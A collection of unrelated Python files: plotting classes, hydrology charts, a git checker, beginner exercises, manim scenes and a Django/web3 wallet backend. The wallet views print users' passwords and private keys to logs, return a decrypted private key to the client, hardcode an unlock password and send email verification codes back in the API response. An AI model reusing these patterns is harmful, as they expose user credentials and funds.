self.plot_opts = opts\n        self._colorbar = colorbar\n        self._initialized = False\n\n        if len(params) > 0:\n            self.plot(*params)\n\n    def _initialize(self):\n        self._initialized = True\n        self.set_options(**self.plot_opts)\n        if self.colorbar:\n            self.add_colorbar()\n        elif isinstance(self.colorbar, dict):\n            self.add_colorbar(**self.colorbar)\n\n    def _get_plot_data(self, func, xrange, yrange):\n        return _get_3D_plotdata(func, xrange, yrange)\n\n    def _plot_data(self, *data, **plot_style):\n        return self._method(*self._get_plot_data(*data), **plot_style)\n\n    def plot(self, *params, **plot_style):\n        plot_style = dict(self.plot_style, **plot_style)\n        self.graphics = self._plot_data(*params, **plot_style)\n        if not self._initialized:\n            self._initialize()\n        return self.graphics\n    def add_colorbar(self, **kw):\n        if self._initialized:\n            fig = self.figure  # type: matplotlib.figure.Figure\n            ax = self.axes  # type: matplotlib.axes.Axes\n            return fig.colorbar(self.graphics, **kw)\n        else:\n            self._colorbar = kw\n    plot_classes = {}\n    @classmethod\n    def resolve_method(cls, mpl_name):\n        return cls.plot_classes[mpl_name]\n    # @classmethod\n    # def merge_plots(cls, *plots, **styles):\n    #     ...\n    @classmethod\n    def register(cls, plot_class):\n        cls.plot_classes[plot_class.method] = plot_class\n        return plot_class\n\n@Plot3D.register\nclass ScatterPlot3D(Plot3D):\n    \"\"\"\n    Creates a ScatterPlot of 3D data\n    \"\"\"\n    method = 'scatter'\n\n@Plot3D.register\nclass WireframePlot3D(Plot3D):\n    \"\"\"\n    Creates a Wireframe mesh plot of 3D data\n    \"\"\"\n    method = 'plot_wireframe'\n\n@Plot3D.register\nclass ContourPlot3D(Plot3D):\n    \"\"\"\n    Creates a 3D ContourPlot of 3D data\n    \"\"\"\n    method = 'contourf'\n\nclass ListPlot3D(Plot3D):\n    \"\"\"\n    Convenience 3D plotting class that handles the interpolation first\n    \"\"\"\n    method = 'contour'\n    def __init__(self,\n                 *params,\n                 plot_style=None,\n                 method=None,\n                 colorbar=None,\n                 figure=None,\n                 axes=None,\n                 subplot_kw=None,\n                 interpolate=True,\n                 **opts\n                 ):\n        \"\"\"\n        :param params: either _empty_ or and array of (_x_, _y_, _z_) points\n        :type params:\n        :param plot_style: the plot styling options to be fed into the plot method\n        :type plot_style: dict | None\n        :param method: the method name as a string\n        :type method: str\n        :param figure: the Graphics object on which to plot (None means make a new one)\n        :type figure: Graphics | None\n        :param axes: the axes on which to plot (used in constructing a Graphics, None means make a new one)\n        :type axes: None\n        :param subplot_kw: the keywords to pass on when initializing the plot\n        :type subplot_kw: dict | None\n        :param colorbar: whether to use a colorbar or what options to pass to the colorbar\n        :type colorbar: None | bool | dict\n        :param interpolate: whether to interpolate the data or not\n        :type interpolate: bool\n        :param opts: options to be fed in when initializing the Graphics\n        :type opts:\n        \"\"\"\n        self.interpolate = interpolate\n        super().__init__(*params,\n                         plot_style=plot_style, method=method,\n                         colorbar=colorbar, figure=figure,\n                         axes=axes, subplot_kw=subplot_kw,\n                         **opts\n                         )\n\n    def _get_plot_data(self, *griddata, interpolate=None):\n        if interpolate is None:\n            interpolate = self.interpolate\n        if len(griddata) == 3:\n            x, y, z = griddata\n        elif interpolate:\n            x, y, z = _interp2DData(griddata[0])\n        else:\n            x = griddata[0][:, 0]\n            y = griddata[0][:, 1]\n            z = griddata[0][:, 2]\n\n        return (x, y, z)\n\n@Plot3D.register\nclass ListTriPlot3D(ListPlot3D):\n    \"\"\"\n    Creates a triangulated surface plot in 3D\n    \"\"\"\n    method = 'plot_trisurf'\n    default_plot_style = {}\n\n\n# add classes to __all__\nfor c in Plot.plot_classes.values():\n    if c.__name__ not in __all__:\n        __all__.append(c.__name__)\nfor c in Plot3D.plot_classes.values():\n    if c.__name__ not in __all__:\n        __all__.append(c.__name__)","sub_path":"McUtils/Plots/Plots.py","file_name":"Plots.py","file_ext":"py","file_size_in_byte":45094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"320760866","text":"import plotly.graph_objs as go\n\nfrom hydrocomp.graphics.hydrogram_build import HydrogramBuild\n\n\nclass HydrogramParcial(HydrogramBuild):\n\n    def __init__(self, data, peaks, threshold, threshold_criterion=None, type_criterion=None, width=None,\n                 height=None, size_text=None, title=None):\n        super().__init__(width=width, height=height, size_text=size_text, title=title)\n        self.data = data\n        self.peaks = peaks\n        self.threshold = threshold\n        self.type_criterion = type_criterion\n        self.threshold_criterion = threshold_criterion\n\n    def plot(self):\n        bandxaxis = go.layout.XAxis(title=\"Data\")\n        bandyaxis = go.layout.YAxis(title=\"Vazão(m³/s)\")\n\n        try:\n            if self.threshold_criterion is None:\n                raise AttributeError\n\n            name = 'Hidrograma Série de Duração Parcial - %s' % self.title\n            layout = dict(\n                title=name,\n                showlegend=True,\n                width=self.width, height=self.height,\n                xaxis=bandxaxis, yaxis=bandyaxis,\n                font=dict(family='Time New Roman', size=self.size_text, color='rgb(0,0,0)'))\n\n            data = []\n            data.append(self._plot_one(self.data, name='Xingó'))\n            data.append(self._plot_threshold())\n            if self.type_criterion is not None:\n                data.append(self._plot_threshold_criterion())\n            data += self._plot_event_peaks()\n\n            fig = dict(data=data, layout=layout)\n            return fig, data\n\n        except AttributeError:\n            name = 'Hidrograma Série de Duração Parcial -  %s' % self.title\n            layout = dict(\n                title=name,\n                showlegend=True,\n                width=self.width, height=self.height,\n                xaxis=bandxaxis, yaxis=bandyaxis,\n                font=dict(family='Time New Roman', size=self.size_text, color='rgb(0,0,0)'))\n\n            data = []\n            data.append(self._plot_one(self.data, name='Xingó'))\n            data.append(self._plot_threshold())\n            data += self._plot_event_peaks()\n\n            fig = dict(data=data, layout=layout)\n            return fig, data\n\n\n    def _plot_event_peaks(self):\n        point_start = go.Scatter(\n            x=list(self.peaks.Start),\n            y=self.data.loc[self.peaks.Start].T.values[0],\n            name=\"Inicio do Evento\",\n            mode='markers',\n            marker=dict(color='rgb(0, 0, 0)',\n                        symbol='circle-dot',\n                        size=6),\n            opacity=1)\n\n        point_end = go.Scatter(\n            x=list(self.peaks.End),\n            y=self.data.loc[self.peaks.End].T.values[0],\n            name=\"Fim do Evento\",\n            mode='markers',\n            marker=dict(color='rgb(0, 0, 0)',\n                        size=6,\n                        symbol=\"x-dot\"),\n            opacity=1)\n\n        point_vazao = go.Scatter(\n            x=self.peaks['peaks'].index,\n            y=self.peaks['peaks'].values,\n            name=\"Pico\",\n            mode='markers',\n            marker=dict(size=8,\n                        color='rgb(128, 128, 128)',\n                        line=dict(width=1,\n                                  color='rgb(0, 0, 0)'),),\n            opacity=1)\n\n        return [point_start, point_end, point_vazao]\n\n    def _plot_threshold(self):\n        trace_threshold = go.Scatter(\n            x=self.data.index,\n            y=[self.threshold]*len(self.data),\n            name=\"Limiar\",\n            line=dict(color='rgb(128, 128, 128)',\n                      width=1.5,\n                      dash='dot')\n        )\n\n        return trace_threshold\n\n    def _plot_threshold_criterion(self):\n        trace_threshold_criterion = go.Scatter(\n            x=self.data.index,\n            y=[self.threshold_criterion]*len(self.data),\n            name=self.type_criterion,\n            line=dict(color='rgb(128, 128, 128)',\n                      width=1.5,\n                      dash='dash')\n        )\n        return trace_threshold_criterion\n","sub_path":"hydrocomp/graphics/hydrogram_parcial.py","file_name":"hydrogram_parcial.py","file_ext":"py","file_size_in_byte":4059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"564867791","text":"# Helper module used by the signed-off-by checker and email address\n# checker.\n#\n# This module handles all the common code stuff between the various\n# checkers.\n\nimport os\nimport sys\nimport logging\nimport argparse\n\nfrom git import Repo\n\ndef run(checker_name, per_commit_callback, result_messages):\n    logging.basicConfig(level=logging.INFO, stream=sys.stderr)\n    logging.info(\"%s starting\" % (checker_name))\n\n    argparser = argparse.ArgumentParser(description='Per-commit PR checker')\n    argparser.add_argument('--status-msg-file',\n                           help='File in which to print the GitHub status message',\n                           type=str, required=True)\n    argparser.add_argument('--gitdir', help='Git directory', type=str,\n                           required=True)\n    argparser.add_argument('--base-branch', help='Merge base branch name',\n                           type=str, required=True)\n    argparser.add_argument('--pr-branch', help='PR branch name',\n                           type=str, required=True)\n    args = argparser.parse_args()\n    args_dict = vars(args)\n\n    base_branch = args_dict['base_branch']\n    pr_branch   = args_dict['pr_branch']\n    clone_dir   = args_dict['gitdir']\n\n    logging.info(\"Git clone:   %s\" % (clone_dir))\n    logging.info(\"PR branch:   %s\" % (pr_branch))\n    logging.info(\"Base branch: %s\" % (base_branch))\n\n    #--------------------------------------\n    # Make a python object representing the Git repo\n    repo       = Repo(clone_dir)\n    merge_base = repo.commit(base_branch)\n    logging.info(\"Merge base:  %s\" % (merge_base.hexsha))\n\n    #--------------------------------------\n    # Iterate from the HEAD of the PR branch down to the merge base with\n    # the base branch.\n    results = {\n        'good' : 0,\n        'bad'  : 0,\n    }\n\n    for commit in repo.iter_commits(repo.commit(pr_branch)):\n        if commit.binsha == merge_base.binsha:\n            logging.info(\"Found the merge base %s: we're done\" % (commit.hexsha))\n            break\n\n        per_commit_callback(commit, results)\n\n    #--------------------------------------\n    # Analyze what happened\n    if results['good'] == 0 and results['bad'] == 0:\n        msg    = 'No commits -- nothing to do'\n        status = 0\n    elif results['good'] > 0 and results['bad'] == 0:\n        msg    = result_messages['all good']['message']\n        status = result_messages['all good']['status']\n    elif results['good'] > 0 and results['bad'] > 0:\n        msg    = result_messages['some good']['message']\n        status = result_messages['some good']['status']\n    else:\n        msg    = result_messages['none good']['message']\n        status = result_messages['none good']['status']\n\n    print(msg)\n    with open(args_dict['status_msg_file'], 'w') as writer:\n        writer.write(msg)\n\n    exit(status)\n","sub_path":"jenkins/checker.py","file_name":"checker.py","file_ext":"py","file_size_in_byte":2821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"268991093","text":"import cat4py as cat\nimport numpy as np\n\nnp.random.seed(123)\n\nshape = (50, 50)\nchunkshape = (49, 49)\nblockshape = (48, 48)\n\nitemsize = 8\n\n# Create a buffer\nbuffer = bytes(np.random.normal(0, 1, np.prod(shape)) * itemsize)\n\n# Create a caterva array from a buffer\n\na = cat.from_buffer(buffer, shape, chunkshape=chunkshape, blockshape=blockshape, itemsize=itemsize)\n\nprint(a.cratio)\n# Convert a caterva array to a buffer\nbuffer2 = a.to_buffer()\nassert buffer == buffer2\n","sub_path":"examples/ex_buffer.py","file_name":"ex_buffer.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"627896156","text":"from random import Random, randint\n\nclass k03(object):\n    \n    def execute(self, num):\n        getattr(self, 'question%d' % num)()\n\n    def question1(self):\n        try:\n            print('年齢を入力してください。＞')\n            age = int(input())\n            if age < 20:\n                print('未成年なので購入できません。')\n        except ValueError as ve:\n            print(ve)\n\n    def question2(self):\n        try:\n            print('身長を入力してください。＞')\n            height = float(input())\n            height /= 100.0\n            print('体重を入力してください。＞')\n            weight = float(input())\n            standard = height * height * 22.0\n            print('あなたの標準体重は{}です。'.format(standard))\n\n            if weight > standard and (weight - standard) / standard * 100 > 14:\n                print('太り気味です。')\n            elif weight < standard and (weight - standard) / standard * 100 < -14:\n                print('痩せ気味です。')\n            else:\n                print('普通ですね。')\n\n        except ValueError as ve:\n            print(ve)\n\n    def question3(self):\n        try:\n            generator = Random()\n            number = generator.randint(0, 99)\n            print('０から９９の範囲の数値が決定されました。')\n            print('決められた数値を予想し、この数値よりも大きな値を入力してください＞')\n            \n            guess = int(input())\n            print('決められた数値は{}です。'.format(number))\n            print('正解です。' if guess > number else '不正解です。')\n        except ValueError as ve:\n            print(ve)\n\n    def question4(self):\n        try:\n            generator = Random()\n            number = generator.randint(0, 99)\n            print('０から９９の範囲の数値が決定されました。')\n            print('決められた数値を予想し、この数値よりも大きな値を入力してください＞')\n            \n            guess = int(input())\n            print('決められた数値は{}です。'.format(number))\n\n            if guess > 100 or guess < 0:\n                print('反則です！')\n            elif guess > number and guess - number <= 10:\n                print('大正解！')\n            elif guess < number and guess - number >= -10:\n                print('惜しい！')\n            elif guess == number:\n                print('お見事！')\n            else:\n                print('正解です。' if guess > number else '不正解です。')\n        except ValueError as ve:\n            print(ve)\n\n","sub_path":"Python/k03.py","file_name":"k03.py","file_ext":"py","file_size_in_byte":2692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"234271422","text":"import csv\nimport pandas as pd\n\n#テーブル作成\ntable = []\n\n# カラム名\nColumn = ['会社名', 'ふりがな']\n\n# CSV行列出力\nwith open('okayama_reclute_list.csv') as f:\n    reader = csv.reader(f)\n    l = [row for row in reader]\n\n# l[行番号][列番号]\nfor i in range(1,50):\n    print(l[i][0],l[i][1])\n    table.append([l[i][1],l[i][2]])\n\n# データフレームを作成\ndf = pd.DataFrame(table,columns=Column)\n\n# CSV ファイル出力\ndf.to_csv(r\"okayama_reclute_list2.csv\",encoding='utf_8_sig')","sub_path":"pandas-sample.py","file_name":"pandas-sample.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"553378383","text":"from django.shortcuts import render, get_object_or_404\nfrom .models import User, Transaction\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.permissions import IsAuthenticated\nfrom .serializers import UserSerializer, ItemListSerializer, TransListSerializer\nfrom rest_framework.response import Response\nfrom django.core.mail import EmailMessage\nfrom articles.models import Article\nfrom django.db.models import Q\n\nimport random\nimport json\nimport sys\nimport time\nimport os\n\nfrom web3 import Web3, HTTPProvider\nfrom web3.contract import ConciseContract\nfrom solc import compile_source\n\n\nblockchain_address = 'http://127.0.0.1:8545'\nweb3 = Web3(HTTPProvider(blockchain_address))\n# Path to the compiled contract JSON file\ncompiled_contract_cash_path = './dev/truffle/build/contracts/Cash.json'\ncompiled_contract_purchaserecord_path = './dev/truffle/build/contracts/PurchaseRecord.json'\n# Deployed contract address (see `migrate` command output: `contract address`)\nCASH_CONTRACT_ADDRESS  = '0xc3F21414ACa813075c205306cb566D175cE1213F'\nPURCHASE_RECORD_CONTRACT_ADDRESS  = '0xedEdC142D938fc2c09f0CA35c388b0b14BA26781'\n\nwith open(compiled_contract_cash_path) as file:\n    contract_json = json.load(file)  # load contract info as JSON\n# fetch contract's abi - necessary to call its functions\n    contract_abi = contract_json['abi']\n# Create your views here.\n# Fetch deployed contract reference\ncontract_cash = web3.eth.contract(address=CASH_CONTRACT_ADDRESS,\n                             abi=contract_abi, bytecode=contract_json['bytecode'])\n\nwith open(compiled_contract_purchaserecord_path) as file:\n    contract_json = json.load(file)  # load contract info as JSON\n# fetch contract's abi - necessary to call its functions\n    contract_abi = contract_json['abi']\n# Create your views here.\n# Fetch deployed contract reference\ncontract_purchaserecord = web3.eth.contract(address=PURCHASE_RECORD_CONTRACT_ADDRESS,\n                             abi=contract_abi, bytecode=contract_json['bytecode'])\n\n# 회원가입\n\n\n@api_view(['POST'])\n@permission_classes([IsAuthenticated])\ndef user(request):\n    serializer = UserSerializer(request.user)\n    return Response(serializer.data)\n\n@api_view(['POST'])\n@permission_classes([IsAuthenticated])\ndef set_flag(request, flag):\n    request.user.flag = flag\n    request.user.save()\n    return Response({'message': '성공적으로 제출되었습니다.'})\n\n@api_view(['POST'])\ndef email(request, email):\n    number = random.randint(100000, 1000000)\n    subject_text = 'JOB!이로운생활 회원가입 인증입니다 확인해 주세요.'\n    body_text = f'''회원가입를 위한 이메일인증 절차입니다 하단의 번호를 JOB!이로운생활 화면에 입력해 주세요\n                인증번호: {number}\\\n                인증번호를 다른사람이 보지 않게 주의해 주세요.'''\n\n    email = EmailMessage(subject_text, body_text, to=[email])\n    result = email.send()\n\n    if result == 1:\n        return Response({\"result\": number, \"1\": result})\n    else:\n        return Response({\"result\": mqwmenjkcjxzkjqwnebmnsdbhqwbhqkbbxjcbkqjkcxzcq})\n\n# 지갑정보\n\n\n@api_view(['POST'])\n@permission_classes([IsAuthenticated])\ndef wallet_create(request, password):\n    user = request.user\n    # truffle development blockchain address\n\n    # Client instance to interact with the blockchain\n\n    # Set the default account (so we don't need to set the \"from\" for every transaction call)\n    web3.geth.personal.unlockAccount(web3.eth.accounts[0], \"asd\", 0)\n    addr = web3.geth.personal.newAccount(password)\n\n    path = \"./dev/keystore\"\n    file_list = os.listdir(path)\n    for i in range(len(file_list)):\n        file_name = file_list[i]\n        if addr[2:].lower() in file_name:\n            with open('./dev/keystore/'+file_name) as keyfile:\n                encrypted_key = keyfile.read()\n                private_key = web3.eth.account.decrypt(\n                    encrypted_key, password)  # '123'은 개인 password\n\n    web3.eth.sendTransaction(\n        {'to': addr, 'from': web3.eth.coinbase, 'value': web3.toWei(5, \"ether\")})\n\n    tx_hash = web3.eth.getBlock(\n        block_identifier='pending', full_transactions=True)\n    pending_transactions = tx_hash['transactions']\n\n    web3.geth.miner.start(4)\n    time.sleep(3)\n    web3.geth.miner.stop()\n\n    web3.geth.miner.start(4)\n    time.sleep(3)\n    web3.geth.miner.stop()\n\n    transact = web3.eth.getTransactionReceipt(\n        pending_transactions[0]['hash'].hex())\n    user.wallet_addr = addr\n    user.balance = web3.fromWei(web3.eth.getBalance(addr), \"microether\")\n    user.save()\n\n    Transaction.objects.create(\n        tx_hash=pending_transactions[0]['hash'].hex(),\n        blockHash=transact['blockHash'].hex(),\n        blockNumber=pending_transactions[0]['blockNumber'],\n        from_adrr=pending_transactions[0]['from'],\n        to_addr=pending_transactions[0]['to'],\n        from_pk=0,\n        to_pk=user.id,\n        gas=pending_transactions[0]['gas'],\n        gasPrice=pending_transactions[0]['gasPrice'],\n        nonce=pending_transactions[0]['nonce'],\n        r=pending_transactions[0]['r'].hex(),\n        s=pending_transactions[0]['s'].hex(),\n        v=pending_transactions[0]['v'],\n        value=web3.fromWei(pending_transactions[0]['value'], \"microether\")\n    )\n\n    return Response({\"result\": private_key.hex()})\n\n\n@api_view(['GET'])\ndef wallet_read(request, id):\n    user = get_object_or_404(User, pk=id)\n    serializer = UserSerializer(user)\n    return Response({\"result\": serializer.data})\n\n\n# 아이템 구매\n\n# 자격증 등록\n@api_view(['POST'])\ndef register(request, id):\n    user = request.user\n    # truffle development blockchain address\n    web3.geth.personal.unlockAccount(web3.eth.accounts[0], \"asd\", 0)\n    with open('./dev/keystore/UTC--2020-10-06T14-09-06.079950600Z--565afde033d6d2df643b5fa6d02d17f5efb2a3bb') as keyfile:\n        encrypted_key = keyfile.read()\n        private_key = web3.eth.account.decrypt(\n            encrypted_key, 'asd')  # '123'은 개인 password\n\n    addr = user.wallet_addr\n    web3.eth.sendTransaction(\n        {'to': addr, 'from': web3.eth.coinbase, 'value': web3.toWei(1, \"ether\")})\n\n    tx_hash = web3.eth.getBlock(\n        block_identifier='pending', full_transactions=True)\n    pending_transactions = tx_hash['transactions']\n\n    web3.geth.miner.start(4)\n    time.sleep(3)\n    web3.geth.miner.stop()\n\n    web3.geth.miner.start(4)\n    time.sleep(3)\n    web3.geth.miner.stop()\n    transact = web3.eth.getTransactionReceipt(\n        pending_transactions[0]['hash'].hex())\n\n    Transaction.objects.create(\n        tx_hash=pending_transactions[0]['hash'].hex(),\n        blockHash=transact['blockHash'].hex(),\n        blockNumber=pending_transactions[0]['blockNumber'],\n        from_adrr=pending_transactions[0]['from'],\n        to_addr=pending_transactions[0]['to'],\n        from_pk=0,\n        to_pk=user.id,\n        gas=pending_transactions[0]['gas'],\n        gasPrice=pending_transactions[0]['gasPrice'],\n        nonce=pending_transactions[0]['nonce'],\n        r=pending_transactions[0]['r'].hex(),\n        s=pending_transactions[0]['s'].hex(),\n        v=pending_transactions[0]['v'],\n        value=web3.fromWei(pending_transactions[0]['value'], \"microether\")\n    )\n\n    # user.balance = web3.fromWei(web3.eth.getBalance(addr), \"ether\")\n    user.balance = web3.fromWei(web3.eth.getBalance(addr), \"microether\")\n    user.save()\n\n    return Response({\"result\": \"sucess\"})\n\n\n# 아이템 조회\n@api_view(['POST'])\n@permission_classes([IsAuthenticated])\ndef item_read(request):\n    user = request.user\n    articles = Article.objects.filter(buyer=user).order_by('-pk')\n    serializer = ItemListSerializer(articles, many=True)\n    return Response(serializer.data)\n\n@api_view(['POST'])\n@permission_classes([IsAuthenticated])\ndef item_read_ather(request, id):\n    user = request.user\n    article = get_object_or_404(Article, pk=id)\n    if article.buyer.filter(id=request.user.pk).exists():\n        return Response({ \"result\": 1})\n    else:\n        return Response({ \"result\": 0})\n\n# 아이템 구매\n\n\n@api_view(['POST'])\n@permission_classes([IsAuthenticated])\ndef item_purchase(request, id):\n    pwd = request.data['password']\n    key = request.data['private_key']\n    article = get_object_or_404(Article, pk=id)\n    another = get_object_or_404(User, pk=article.user_id)\n    print(pwd, 1)\n    print(key, 2)\n    if article.buyer.filter(id=request.user.pk).exists():\n        pass\n    else:\n        user = request.user\n        try:\n            web3.geth.personal.unlockAccount(user.wallet_addr, pwd, 0)\n        except Exception:\n            return Response({'result': 'fail'})\n        # Path to the compiled contract JSON file\n        path = \"./dev/keystore\"\n        file_list = os.listdir(path)\n        for i in range(len(file_list)):\n            file_name = file_list[i]\n            if user.wallet_addr[2:].lower() in file_name:\n                with open('./dev/keystore/'+file_name) as keyfile:\n                    encrypted_key = keyfile.read()\n                    private_key = web3.eth.account.decrypt(\n                        encrypted_key, pwd)\n                if private_key.hex() == key:\n                    print(\"sucess\")\n                    web3.eth.sendTransaction(\n                        {'to': another.wallet_addr, 'from': user.wallet_addr, 'value': web3.toWei(1, \"ether\")})\n                else: \n                    return Response({'result': 'fail'})\n        tx_hash = web3.eth.getBlock(\n            block_identifier='pending', full_transactions=True)\n        pending_transactions = tx_hash['transactions']\n\n        web3.geth.miner.start(4)\n        time.sleep(3)\n        web3.geth.miner.stop()\n\n        web3.geth.miner.start(4)\n        time.sleep(3)\n        web3.geth.miner.stop()\n\n        transact = web3.eth.getTransactionReceipt(\n            pending_transactions[0]['hash'].hex())\n        # user.balance = web3.fromWei(web3.eth.getBalance(user.wallet_addr), \"ether\")\n        user.balance = web3.fromWei(\n            web3.eth.getBalance(user.wallet_addr), \"microether\")\n\n        # another.balance = web3.fromWei(web3.eth.getBalance(another.wallet_addr), \"ether\")\n        another.balance = web3.fromWei(\n            web3.eth.getBalance(another.wallet_addr), \"microether\")\n        article.buyer.add(request.user)\n        user.save()\n        another.save()\n\n        Transaction.objects.create(\n            tx_hash=pending_transactions[0]['hash'].hex(),\n            blockHash=transact['blockHash'].hex(),\n            blockNumber=pending_transactions[0]['blockNumber'],\n            from_adrr=pending_transactions[0]['from'],\n            to_addr=pending_transactions[0]['to'],\n            from_pk=user.id,\n            to_pk=another.id,\n            gas=pending_transactions[0]['gas'],\n            gasPrice=pending_transactions[0]['gasPrice'],\n            nonce=pending_transactions[0]['nonce'],\n            r=pending_transactions[0]['r'].hex(),\n            s=pending_transactions[0]['s'].hex(),\n            v=pending_transactions[0]['v'],\n            value=web3.fromWei(pending_transactions[0]['value'], \"microether\")\n        )\n\n    serializer = ItemListSerializer(article)\n\n    return Response(serializer.data)\n\n## 영상 구매\n@api_view(['POST'])\n@permission_classes([IsAuthenticated])\ndef video_purchase(request, id):\n    pwd = request.data['password']\n    key = request.data['private_key']\n    print(pwd, 1)\n    print(key, 2)\n\n    user = request.user\n    try:\n        web3.geth.personal.unlockAccount(user.wallet_addr, pwd, 0)\n    except Exception:\n        return Response({'result': 'fail'})\n    # Path to the compiled contract JSON file\n    path = \"./dev/keystore\"\n    file_list = os.listdir(path)\n    for i in range(len(file_list)):\n        file_name = file_list[i]\n        if user.wallet_addr[2:].lower() in file_name:\n            with open('./dev/keystore/'+file_name) as keyfile:\n                encrypted_key = keyfile.read()\n                private_key = web3.eth.account.decrypt(\n                    encrypted_key, pwd)\n            if private_key.hex() == key:\n                print(\"sucess\")\n                web3.eth.sendTransaction(\n                    {'to': web3.eth.accounts[0], 'from': user.wallet_addr, 'value': web3.toWei(1, \"ether\")})\n            else: \n                return Response({'result': 'fail'})\n\n    tx_hash = web3.eth.getBlock(\n        block_identifier='pending', full_transactions=True)\n    pending_transactions = tx_hash['transactions']\n\n    web3.geth.miner.start(4)\n    time.sleep(3)\n    web3.geth.miner.stop()\n\n    web3.geth.miner.start(4)\n    time.sleep(3)\n    web3.geth.miner.stop()\n\n    transact = web3.eth.getTransactionReceipt(\n        pending_transactions[0]['hash'].hex())\n    # user.balance = web3.fromWei(web3.eth.getBalance(user.wallet_addr), \"ether\")\n    user.balance = web3.fromWei(\n        web3.eth.getBalance(user.wallet_addr), \"microether\")\n\n    # another.balance = web3.fromWei(web3.eth.getBalance(another.wallet_addr), \"ether\")\n    if request.data['video'] == 'IT':\n        user.it = 1\n    elif request.data['video'] == '전자':\n        user.electric = 1\n    elif request.data['video'] == '반도체':\n        user.semiconductor = 1\n    elif request.data['video'] == '디자인':\n        user.design = 1\n    else:\n        user.eng = 1\n    user.save()\n\n    Transaction.objects.create(\n        tx_hash=pending_transactions[0]['hash'].hex(),\n        blockHash=transact['blockHash'].hex(),\n        blockNumber=pending_transactions[0]['blockNumber'],\n        from_adrr=pending_transactions[0]['from'],\n        to_addr=pending_transactions[0]['to'],\n        from_pk=user.id,\n        to_pk=0,\n        gas=pending_transactions[0]['gas'],\n        gasPrice=pending_transactions[0]['gasPrice'],\n        nonce=pending_transactions[0]['nonce'],\n        r=pending_transactions[0]['r'].hex(),\n        s=pending_transactions[0]['s'].hex(),\n        v=pending_transactions[0]['v'],\n        value=web3.fromWei(pending_transactions[0]['value'], \"microether\")\n    )\n\n\n    return Response({\"result\": \"sucess\"})\n\n## 내역 조회\n\n@api_view(['POST'])\n@permission_classes([IsAuthenticated])\ndef trans(request):\n    user = request.user\n    print(user)\n    trans = Transaction.objects.filter(Q(from_pk=user.id) | Q(to_pk=user.id)).order_by('-pk')\n    serializer = TransListSerializer(trans, many=True)\n\n    return Response(serializer.data)","sub_path":"잡이로운생활/backend-django/backend/accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":14378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"591350867","text":"#!/bin/python3\n#first element and 2nd sum third num onwards .add to 1st num and sub from 2nd sum\nimport sys\n\ndef solve(a):\n    # Complete this function\n    sumLeft=a[0]\n    sumRight=0\n    if(len(a)==1):\n        return \"YES\"\n    for i in range(2,len(a)):\n        sumRight+=a[i]\n    k=1    \n   # print(sumLeft,sumRight)\n    for i in range(2,len(a)):\n        if(sumLeft==sumRight):\n            return \"YES\"\n        if(sumLeft>sumRight):\n            return \"NO\"\n        sumLeft+=a[k]\n        k+=1\n        sumRight-=a[i]\n    return \"NO\"\n\nT = int(input().strip())\nfor a0 in range(T):\n    n = int(input().strip())\n    a = list(map(int, input().strip().split(' ')))\n    result = solve(a)\n    print(result)\n","sub_path":"Algorithms/search/sherlock_array.py","file_name":"sherlock_array.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"562863280","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Dec 21 13:32:58 2018\n\n@author: simcha\n\"\"\"\n\nfrom big_ol_pile_of_manim_imports import *\n \nclass Shapes(Scene):\n    #A few simple shapes\n    def construct(self):\n        circle = Circle().move_to(np.array([3,0,0]))\n        square = Square()\n        line=Line(np.array([1.5,0,0]),np.array([5,0,0]))\n        triangle=Polygon(np.array([0,0,0]),np.array([1,1,0]),np.array([1,-1,0]))\n         \n        \n                \n        self.play(ShowCreation(circle))\n        self.add(Arrow(line))\n        self.play(FadeOut(circle))\n        self.play(GrowFromCenter(square))\n        self.play(Transform(square,triangle))\n        self.play(Transform(square, line.rotate(np.pi).move_to(np.array([-5, 0, 0]))))\n        self.play(FadeOut(square))\n        \nclass MoreShapes(Scene):\n    #A few more simple shapes\n    def construct(self):\n        circle = Circle(color=PURPLE_A)\n        square = Square(fill_color=GOLD_B, fill_opacity=1, color=GOLD_A)\n        square.move_to(UP+LEFT)\n        circle.surround(square)\n        rectangle = Rectangle(height=2, width=3)\n        ellipse=Ellipse(width=3, height=1, color=RED)\n        ellipse.shift(2*DOWN+2*RIGHT)\n        pointer = CurvedArrow(2*RIGHT,5*RIGHT,color=MAROON_C)\n        arrow = Arrow(LEFT,UP)\n        arrow.next_to(circle,DOWN+LEFT)\n        rectangle.next_to(arrow,DOWN+LEFT)\n        ring=Annulus(inner_radius=.5, outer_radius=1, color=BLUE)\n        ring.next_to(ellipse, RIGHT)\n#         \n        self.add(pointer)\n        self.play(FadeIn(square))\n        self.play(Rotating(square),FadeIn(circle))\n        self.play(GrowArrow(arrow))\n        self.play(GrowFromCenter(rectangle), GrowFromCenter(ellipse), GrowFromCenter(ring))\n        \n        hexagon = Polygon(np.array([1, 0, 0]), np.array([0.75, -0.5, 0]), np.array([-0.75, -0.5, 0]), np.array([-1, 0, 0]), np.array([-0.75, 0.5, 0]), np.array([0.75, 0.5, 0]))\n        hexagon2 = hexagon.copy()\n        bigHexagon = hexagon2.scale(1.5)\n        bigHexagon.surround(hexagon)\n#        \n        self.play(FadeIn(hexagon), FadeIn(bigHexagon))\n        self.play(Rotating(hexagon), Rotating(bigHexagon))\n        \nclass AddingText(Scene):\n    #Adding text on the screen\n    def construct(self):\n        my_first_text=TextMobject(\"Writing with manim is fun\")\n        second_line=TextMobject(\"and easy to do!\")\n        second_line.next_to(my_first_text,DOWN)\n        third_line=TextMobject(\"for me and you!\")\n        third_line.next_to(my_first_text,DOWN)\n         \n        self.add(my_first_text, second_line)\n        self.wait(2)\n        